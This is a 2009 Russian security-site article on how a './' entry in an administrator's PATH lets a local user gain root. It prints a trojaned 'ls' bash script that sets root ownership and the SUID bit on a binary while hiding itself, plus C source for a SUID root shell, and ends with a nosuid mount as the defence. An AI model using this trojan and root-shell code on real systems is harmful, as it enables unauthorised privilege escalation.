Информационная безопасность компьютерных систем и защита конфиденциальных данных
SecuRRity.Ru » Статьи » Получение привилегированных прав доступа к системе
Статьи

Получение привилегированных прав доступа к системе

автор: Administrator | 5 февраля 2009, 15:34 | Просмотров: 5592
теги: Статьи, include, скрипт, программа, администратор, умолчанию



Получение привилегированных прав доступа к системе Многие администраторы испытывают неудобство при переходе от Win систем на юникс системы, из-за того, что по умолчанию не возможен запуск программ из текущего каталога, это требуется явно указать. Для решения такой проблемы они просто явно прописывают путь по умолчанию в переменную PATH.

Для решения такой проблемы они просто явно прописывают путь по умолчанию в переменную PATH.

Допустим:
PATH=./:/bin:/usr/bin:/sbin

Такой глупостью может воспользоваться практически любой пользователь системы.

Предположим пользователь пишет такой скрипт:
#!/bin/bash
chown root:root /home/petr/.mc/a.out
chmod 4755 /home/petr/.mc/a.out
/bin/ls $1 $2 $3 $4 $5 $6 $7 | grep -v ls


И называет его ls.
этот скрипт при старте устанавливает владельцем root'a на программку a.out и бит SUID на нее.
И последняя строка выводит как бы обычный результат работы программы ls исключая саму себя из общего списка.

Програмка a.out запускает шелл с правами root, ее исходный код:
#include
#include
#include
#include

int main(int argc, char ** argv)
{
setgid(0);
setuid(0);
execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
}


Во избежание таких эксцессов домашние каталоги пользователей ВСЕГДА должны находится на ОТДЕЛЬНОМ РАЗДЕЛЕ !!! который будет смонтирован с опцией nosuid.

Пример:
Допустим в системе существует винчестер hdc, смонтируем его при старте системы с флагом nosuid
/dev/hdc1 /home ext3 defaults,nosuid 1 1

Еще раз про способ организации:
  1. Создаем скрипт с названием аналогичным ls который будет по функциональности ничем не отличатся от обычной программы ls, но будет проделывать ряд действий:
    • устанавливать владельца root на какую-нибудь программу, которая находится в домашнем каталоге пользователя;
    • устанавливать бит SUID на эту программу. ЧТО ПОЗВОЛИТ В ДАЛЬНЕЙШЕМ пользователю запустить данную программу с правами владельца, т.е. получить привилегированный доступ к системы.

  2. Производим написание (НЕВАЖНО НА КАКОМ ЯЗЫКЕ программирования) программы над которой будут производится вышеописанные действия. В лучшем случае эта программа должна запустить командный интерпритатор с правами root.

  3. Выводим содержимое текущего каталога на экран - как будто это исполнилась программа ls.


Автор:
Буренин Владимир



источник:
hackzona.ru
Обратная связь

Информация


Посетители, находящиеся в группе Гости, не могут оставлять комментарии к данной публикации.